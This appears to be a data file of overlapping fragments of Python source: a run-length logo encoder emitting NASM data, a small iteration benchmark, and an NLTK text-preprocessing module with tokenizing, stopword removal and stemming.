"buf) = rle() # print it as a nasm data directive print(\"logo_width equ\",",
"__name__ == \"__main__\": (width, height, buf) = rle() # print it as a",
"[run] # iterator to split off the data into chunks def chunks(l, n):",
"if __name__ == \"__main__\": (width, height, buf) = rle() # print it as",
"- 1: buf += [2 ** bits - 1] buf += [0] run",
"ret += [b] if len(ret) == n: yield ret ret = list() if",
"run > 2 ** bits - 1: buf += [2 ** bits -",
"3): i = b[0] | b[1] << 5 | b[2] << 10 |",
"row in logo: for c in row: if c == cur: run +=",
"def chunks(l, n): ret = list() for b in l: ret += [b]",
">> 8 & 0xff] return (len(logo[0]), len(logo), buf2) if __name__ == \"__main__\": (width,",
"as a nasm data directive print(\"logo_width equ\", width) print(\"logo_height equ\", height) print(\"db \"",
"- 1] buf += [0] run = run - 2 ** bits +",
"to split off the data into chunks def chunks(l, n): ret = list()",
"split off the data into chunks def chunks(l, n): ret = list() for",
"c buf += [run] run = 1 if run > 2 ** bits",
"return while len(ret) % n != 0: ret += [0] yield ret buf2",
"logo: for c in row: if c == cur: run += 1 else:",
"1 else: cur = c buf += [run] run = 1 if run",
"cur = \".\" run = 0 buf = list() for row in logo:"
] |
[
"C: def __init__(self): self.l = range(10) def __getitem__(self, idx): return self.l[idx] def f():",
"C() total = 0 for _ in xrange(100000): for i in c: total",
"idx): return self.l[idx] def f(): c = C() total = 0 for _",
"for _ in xrange(100000): for i in c: total += i print total",
"def __getitem__(self, idx): return self.l[idx] def f(): c = C() total = 0",
"return self.l[idx] def f(): c = C() total = 0 for _ in",
"_ in xrange(100000): for i in c: total += i print total f()",
"self.l = range(10) def __getitem__(self, idx): return self.l[idx] def f(): c = C()",
"= 0 for _ in xrange(100000): for i in c: total += i",
"range(10) def __getitem__(self, idx): return self.l[idx] def f(): c = C() total =",
"total = 0 for _ in xrange(100000): for i in c: total +=",
"= C() total = 0 for _ in xrange(100000): for i in c:",
"class C: def __init__(self): self.l = range(10) def __getitem__(self, idx): return self.l[idx] def",
"def f(): c = C() total = 0 for _ in xrange(100000): for",
"= range(10) def __getitem__(self, idx): return self.l[idx] def f(): c = C() total",
"__getitem__(self, idx): return self.l[idx] def f(): c = C() total = 0 for",
"def __init__(self): self.l = range(10) def __getitem__(self, idx): return self.l[idx] def f(): c",
"c = C() total = 0 for _ in xrange(100000): for i in",
"__init__(self): self.l = range(10) def __getitem__(self, idx): return self.l[idx] def f(): c =",
"f(): c = C() total = 0 for _ in xrange(100000): for i",
"self.l[idx] def f(): c = C() total = 0 for _ in xrange(100000):",
"0 for _ in xrange(100000): for i in c: total += i print"
] |
[
"for t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords =",
"if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\",",
"STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\'",
"nltk #from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer # This is better",
"better for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus",
"txts] else: txtwords = [string.split(t) for t in txts] txts = None if",
"return [[stemmer.stem(w) for w in t] for t in txtwords] return [stemmer.stemWords(t) for",
"txt) for txt in txts] if __name__ == \"__main__\": import sys print textpreprocess('hello",
"= _removenonalphanumericchars(txtwords) txtwords = [[w for w in t if w != \"\"]",
"_removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if stoplist is None: stoplist =",
"+ [stemmer.stemWord(t[-1])] for t in txtwords if len(t) > 0] def _stripallwhitespace(txts): return",
"def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if len(t)",
"txt = None if removeblanklines: newtxts = [] for t in txts: if",
"in t if w != \"\"] for t in txtwords] if stemlastword: txtwords",
"if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t in txts] if wordtokenize:",
"not in stoplist] for t in txtwords] def _stem(txtwords): # stemmer = PorterStemmer()",
"converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else:",
"the sentence tokenization, by using the original HTML formatting in the tokenization. Note:",
"for t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for",
"= _stemlastword(txtwords) txts = [string.join(words) for words in txtwords] if stripallwhitespace: txts =",
"import os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None",
"[[string.lower(w) for w in t] for t in txtwords] if removestopwords: txtwords =",
"converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note:",
"len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \"",
"stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import os.path import re import string",
"txts: if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts =",
"txtwords] return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c",
"stem: txtwords = _stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars:",
"for t in txts] txts = None if lowercase: txtwords = [[string.lower(w) for",
"PorterStemmer() # return [[stemmer.stem(w) for w in t] for t in txtwords] return",
"#from nltk.corpus import stopwords # Use the PyStemmer stemmer, since it is written",
"w != \"\"] for t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts",
"the PorterStemmer object each time this function is called.) \"\"\" if converthtml: txt",
"this function is called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts",
"stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return",
"in open(STOPFILE).readlines()]) return [[w for w in t if w not in stoplist]",
"= None if lowercase: txtwords = [[string.lower(w) for w in t] for t",
"removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could also use NCleaner (common.html2text.batch_nclean)",
"= [string.split(t) for t in txts] txts = None if lowercase: txtwords =",
"for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import",
"None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for w in",
"def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts] if __name__ == \"__main__\":",
"u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the PyStemmer",
"txts = [string.join(words) for words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return",
"if lowercase: txtwords = [[string.lower(w) for w in t] for t in txtwords]",
"This is better for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize",
"import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre =",
"use NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence tokenization, by using the",
"in txtwords] return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for",
"return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if len(t) > 0] return",
"txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts",
"word_tokenize from nltk.tokenize import WordPunctTokenizer # This is better for sentences containing unicode,",
"newtxts = [] for t in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts",
"= stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()])",
"removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text, one could also use",
"# stemmer = PorterStemmer() # return [[stemmer.stem(w) for w in t] for t",
"html2text, one could also use NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence",
"if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt",
"tokenization, by using the original HTML formatting in the tokenization. Note: We use",
"in stoplist] for t in txtwords] def _stem(txtwords): # stemmer = PorterStemmer() #",
"# TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords",
"in txts] if __name__ == \"__main__\": import sys print textpreprocess('hello how are you",
"Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each time this function is",
"open(STOPFILE).readlines()]) return [[w for w in t if w not in stoplist] for",
"t if w not in stoplist] for t in txtwords] def _stem(txtwords): #",
"# Use the PyStemmer stemmer, since it is written in C and is",
"import MWETokenizer as tokenizer import nltk #from nltk import word_tokenize from nltk.tokenize import",
"import html2text #import tokenizer from nltk.tokenize import MWETokenizer as tokenizer import nltk #from",
"txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global",
"stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer =",
"Stemmer #from nltk.stem.porter import PorterStemmer import os.path import re import string STOPFILE =",
"MWETokenizer as tokenizer import nltk #from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer",
"for c in w if _alphanumre.search(c) is not None], \"\") for w in",
"\"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer",
"nltk.tokenize import WordPunctTokenizer # This is better for sentences containing unicode, like: u\"N\\u00faria",
"> 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \")",
"as tokenizer import nltk #from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer #",
"in txts] txts = None if lowercase: txtwords = [[string.lower(w) for w in",
"\") for t in txts] if wordtokenize: txtwords = [word_tokenize(t) for t in",
"for t in txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t",
"[stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w",
"frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for w in t if w",
"txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist",
"return [[string.join([c for c in w if _alphanumre.search(c) is not None], \"\") for",
"_stemlastword(txtwords) txts = [string.join(words) for words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts)",
"= [txt] txt = None if removeblanklines: newtxts = [] for t in",
"NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence tokenization, by using the original",
"We use the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each time",
"sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt] txt =",
"_stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w) for w in t] for",
"return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if len(t) > 0] def",
"PorterStemmer import os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist =",
"t if w != \"\"] for t in txtwords] if stemlastword: txtwords =",
"txtwords if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords",
"_removenonalphanumericchars(txtwords): return [[string.join([c for c in w if _alphanumre.search(c) is not None], \"\")",
"l in open(STOPFILE).readlines()]) return [[w for w in t if w not in",
"_removenonalphanumericchars(txtwords) txtwords = [[w for w in t if w != \"\"] for",
"__name__ == \"__main__\": import sys print textpreprocess('hello how are you sleeping ?') print",
"if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO: Maybe",
"sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords",
"in t] for t in txtwords] return [stemmer.stemWords(t) for t in txtwords] def",
"txts] txts = None if lowercase: txtwords = [[string.lower(w) for w in t]",
"t in txts] else: txtwords = [string.split(t) for t in txts] txts =",
"and is thus much faster than the NLTK porter stemmer import Stemmer #from",
"from nltk.tokenize import WordPunctTokenizer # This is better for sentences containing unicode, like:",
"= html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts =",
"for t in txtwords if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for",
"formatting in the tokenization. Note: We use the Porter stemmer. (Optimization: Shouldn't rebuild",
"> 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts] if __name__",
"import PorterStemmer import os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist",
"if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist",
"0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if len(t) > 0]",
"in txts] if wordtokenize: txtwords = [word_tokenize(t) for t in txts] else: txtwords",
"txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for words in txtwords]",
"the tokenization. Note: We use the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer",
"[t.replace(\"-\", \" \") for t in txts] if wordtokenize: txtwords = [word_tokenize(t) for",
"nltk.tokenize import MWETokenizer as tokenizer import nltk #from nltk import word_tokenize from nltk.tokenize",
"]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True,",
"if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts]",
"# return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if len(t) > 0]",
"t in txtwords] def _stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w) for",
"for w in t] for t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords)",
"Note: One could improve the sentence tokenization, by using the original HTML formatting",
"could improve the sentence tokenization, by using the original HTML formatting in the",
"in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts",
"w in t] for t in txtwords] return [stemmer.stemWords(t) for t in txtwords]",
"TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords =",
"stopwords # Use the PyStemmer stemmer, since it is written in C and",
"txtwords = _stemlastword(txtwords) txts = [string.join(words) for words in txtwords] if stripallwhitespace: txts",
"for t in txts] else: txtwords = [string.split(t) for t in txts] txts",
"= _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO: Maybe remove Unicode accents?",
"if _alphanumre.search(c) is not None], \"\") for w in t] for t in",
"original HTML formatting in the tokenization. Note: We use the Porter stemmer. (Optimization:",
"for w in t if w not in stoplist] for t in txtwords]",
"Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the PyStemmer stemmer,",
"= [word_tokenize(t) for t in txts] else: txtwords = [string.split(t) for t in",
"also use NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence tokenization, by using",
"is written in C and is thus much faster than the NLTK porter",
"NLTK porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import os.path import re",
"removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w in t if w",
"if w != \"\"] for t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords)",
"t] for t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords",
"[word_tokenize(t) for t in txts] else: txtwords = [string.split(t) for t in txts]",
"stoplist is None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for",
"much faster than the NLTK porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer",
"replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t in txts] if wordtokenize: txtwords",
"= Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True,",
"[[string.join([c for c in w if _alphanumre.search(c) is not None], \"\") for w",
"newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t",
"nltk.corpus import stopwords # Use the PyStemmer stemmer, since it is written in",
"c in w if _alphanumre.search(c) is not None], \"\") for w in t]",
"txtwords = [[string.lower(w) for w in t] for t in txtwords] if removestopwords:",
"for words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \")",
"for t in txtwords] return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return",
"\" \") for t in txts] if wordtokenize: txtwords = [word_tokenize(t) for t",
"= _stem(txtwords) # TODO: Maybe remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords =",
"stemmer = PorterStemmer() # return [[stemmer.stem(w) for w in t] for t in",
"t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords)",
"in w if _alphanumre.search(c) is not None], \"\") for w in t] for",
"import nltk #from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer # This is",
"None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer",
"[[w for w in t if w not in stoplist] for t in",
"t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w if _alphanumre.search(c)",
"in txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords",
"[[stemmer.stem(w) for w in t] for t in txtwords] return [stemmer.stemWords(t) for t",
"w in t] for t in txtwords] def _stemlastword(txtwords): # return [t[:-1] +",
"_stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\")",
"in txtwords] def _stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w) for w",
"use the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each time this",
"it is written in C and is thus much faster than the NLTK",
"def _removenonalphanumericchars(txtwords): return [[string.join([c for c in w if _alphanumre.search(c) is not None],",
"in t if w not in stoplist] for t in txtwords] def _stem(txtwords):",
"for t in txts] if wordtokenize: txtwords = [word_tokenize(t) for t in txts]",
"w in t if w not in stoplist] for t in txtwords] def",
"#!/usr/bin/python import html2text #import tokenizer from nltk.tokenize import MWETokenizer as tokenizer import nltk",
"#from nltk.stem.porter import PorterStemmer import os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))),",
"w in t if w != \"\"] for t in txtwords] if stemlastword:",
"#stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True,",
"is better for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from",
"each time this function is called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if",
"# This is better for sentences containing unicode, like: u\"N\\u00faria Espert\" word_tokenize =",
"= re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer() stemmer = Stemmer.Stemmer(\"english\")",
"from nltk.tokenize import MWETokenizer as tokenizer import nltk #from nltk import word_tokenize from",
"the PyStemmer stemmer, since it is written in C and is thus much",
"= WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the PyStemmer stemmer, since it",
"t in txtwords] return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c",
"def _stem(txtwords): # stemmer = PorterStemmer() # return [[stemmer.stem(w) for w in t]",
"thus much faster than the NLTK porter stemmer import Stemmer #from nltk.stem.porter import",
"for w in t if w != \"\"] for t in txtwords] if",
"txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])] for t in txtwords if",
"removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For html2text,",
"the Porter stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each time this function",
"w if _alphanumre.search(c) is not None], \"\") for w in t] for t",
"stoplist # stoplist = stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l) for",
"sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False, stripallwhitespace=False): \"\"\" Note: For",
"removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO: Maybe remove",
"0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts] if __name__ ==",
"the original HTML formatting in the tokenization. Note: We use the Porter stemmer.",
"string.join(txts, sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if stoplist",
"_alphanumre.search(c) is not None], \"\") for w in t] for t in txtwords]",
"porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import os.path import re import",
"stemmer. (Optimization: Shouldn't rebuild the PorterStemmer object each time this function is called.)",
"t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for words",
"faster than the NLTK porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import",
"in t] for t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem:",
"if stoplist is None: stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w",
"txtwords = [[w for w in t if w != \"\"] for t",
"Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True, removenonalphanumericchars=True, stemlastword=False,",
"word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the PyStemmer stemmer, since",
"sep=\" \") def _removestopwords(txtwords): global stoplist # stoplist = stopwords.words(\"english\") if stoplist is",
"in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\" \") def _removestopwords(txtwords):",
"for w in t] for t in txtwords] def _stemlastword(txtwords): # return [t[:-1]",
"return [_wsre.sub(\"\", txt) for txt in txts] if __name__ == \"__main__\": import sys",
"w in t] for t in txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if",
"if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split())",
"html2text #import tokenizer from nltk.tokenize import MWETokenizer as tokenizer import nltk #from nltk",
"= newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t in txts]",
"# return [[stemmer.stem(w) for w in t] for t in txtwords] return [stemmer.stemWords(t)",
"sentence tokenization, by using the original HTML formatting in the tokenization. Note: We",
"= [] for t in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts =",
"if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w in t if",
"removeblanklines: newtxts = [] for t in txts: if len(string.strip(t)) > 0: newtxts.append(t)",
"#from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer # This is better for",
"Use the PyStemmer stemmer, since it is written in C and is thus",
"one could also use NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence tokenization,",
"import WordPunctTokenizer # This is better for sentences containing unicode, like: u\"N\\u00faria Espert\"",
"= os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\",",
"in C and is thus much faster than the NLTK porter stemmer import",
"[string.join(words) for words in txtwords] if stripallwhitespace: txts = _stripallwhitespace(txts) return string.join(txts, sep=\"",
"#import tokenizer from nltk.tokenize import MWETokenizer as tokenizer import nltk #from nltk import",
"return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords): return [[string.join([c for c in",
"string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\") stoplist = None _wsre = re.compile(\"\\s+\") _alphanumre =",
"nltk.stem.porter import PorterStemmer import os.path import re import string STOPFILE = os.path.join(os.path.abspath(os.path.dirname(os.path.realpath(__file__))), \"english.stop\")",
"than the NLTK porter stemmer import Stemmer #from nltk.stem.porter import PorterStemmer import os.path",
"len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts] if",
"None], \"\") for w in t] for t in txtwords] def _stemlastword(txtwords): #",
"(common.html2text.batch_nclean) Note: One could improve the sentence tokenization, by using the original HTML",
"\"\") for w in t] for t in txtwords] def _stemlastword(txtwords): # return",
"if removeblanklines: newtxts = [] for t in txts: if len(string.strip(t)) > 0:",
"is not None], \"\") for w in t] for t in txtwords] def",
"tokenizer import nltk #from nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer # This",
"object each time this function is called.) \"\"\" if converthtml: txt = html2text.html2text(txt)",
"if __name__ == \"__main__\": import sys print textpreprocess('hello how are you sleeping ?')",
"txts = [t.replace(\"-\", \" \") for t in txts] if wordtokenize: txtwords =",
"C and is thus much faster than the NLTK porter stemmer import Stemmer",
"for txt in txts] if __name__ == \"__main__\": import sys print textpreprocess('hello how",
"for t in txtwords if len(t) > 0] def _stripallwhitespace(txts): return [_wsre.sub(\"\", txt)",
"for l in open(STOPFILE).readlines()]) return [[w for w in t if w not",
"txtwords] if removestopwords: txtwords = _removestopwords(txtwords) if stem: txtwords = _stem(txtwords) # TODO:",
"_stripallwhitespace(txts): return [_wsre.sub(\"\", txt) for txt in txts] if __name__ == \"__main__\": import",
"# stoplist = stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l) for l",
"like: u\"N\\u00faria Espert\" word_tokenize = WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the",
"remove Unicode accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for",
"if wordtokenize: txtwords = [word_tokenize(t) for t in txts] else: txtwords = [string.split(t)",
"stemmer, since it is written in C and is thus much faster than",
"stemmer = Stemmer.Stemmer(\"english\") def textpreprocess(txt, converthtml=True, sentencetokenize=True, removeblanklines=True, replacehyphenbyspace=True, wordtokenize=True, lowercase=True, removestopwords=True, stem=True,",
"accents? http://stackoverflow.com/questions/517923/what-is-the-best-way-to-remove-accents-in-a-python-unicode-string if removenonalphanumericchars: txtwords = _removenonalphanumericchars(txtwords) txtwords = [[w for w in",
"WordPunctTokenizer().tokenize #from nltk.corpus import stopwords # Use the PyStemmer stemmer, since it is",
"txts = [txt] txt = None if removeblanklines: newtxts = [] for t",
"== \"__main__\": import sys print textpreprocess('hello how are you sleeping ?') print textpreprocess(sys.stdin.read())",
"in the tokenization. Note: We use the Porter stemmer. (Optimization: Shouldn't rebuild the",
"if stemlastword: txtwords = _stemlastword(txtwords) txts = [string.join(words) for words in txtwords] if",
"= None _wsre = re.compile(\"\\s+\") _alphanumre = re.compile(\"[\\w\\-\\' ]\", re.UNICODE) #stemmer = PorterStemmer()",
"txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for t in",
"= [t.replace(\"-\", \" \") for t in txts] if wordtokenize: txtwords = [word_tokenize(t)",
"nltk import word_tokenize from nltk.tokenize import WordPunctTokenizer # This is better for sentences",
"global stoplist # stoplist = stopwords.words(\"english\") if stoplist is None: stoplist = frozenset([string.strip(l)",
"could also use NCleaner (common.html2text.batch_nclean) Note: One could improve the sentence tokenization, by",
"if len(t) > 0] return [t[:-1] + [stemmer.stemWord(t[-1])] for t in txtwords if",
"txt in txts] if __name__ == \"__main__\": import sys print textpreprocess('hello how are",
"html2text.html2text(txt) if sentencetokenize: txts = nltk.word_tokenize(txt) #txts = tokenizer.tokenize(txt.split()) else: txts = [txt]",
"in t] for t in txtwords] def _stemlastword(txtwords): # return [t[:-1] + [stemmer.stem(t[-1])]",
"[] for t in txts: if len(string.strip(t)) > 0: newtxts.append(t) txts = newtxts",
"= frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for w in t if",
"0: newtxts.append(t) txts = newtxts if replacehyphenbyspace: txts = [t.replace(\"-\", \" \") for",
"lowercase: txtwords = [[string.lower(w) for w in t] for t in txtwords] if",
"!= \"\"] for t in txtwords] if stemlastword: txtwords = _stemlastword(txtwords) txts =",
"t] for t in txtwords] return [stemmer.stemWords(t) for t in txtwords] def _removenonalphanumericchars(txtwords):",
"function is called.) \"\"\" if converthtml: txt = html2text.html2text(txt) if sentencetokenize: txts =",
"stoplist = frozenset([string.strip(l) for l in open(STOPFILE).readlines()]) return [[w for w in t",
"by using the original HTML formatting in the tokenization. Note: We use the",
"txts] if __name__ == \"__main__\": import sys print textpreprocess('hello how are you sleeping",
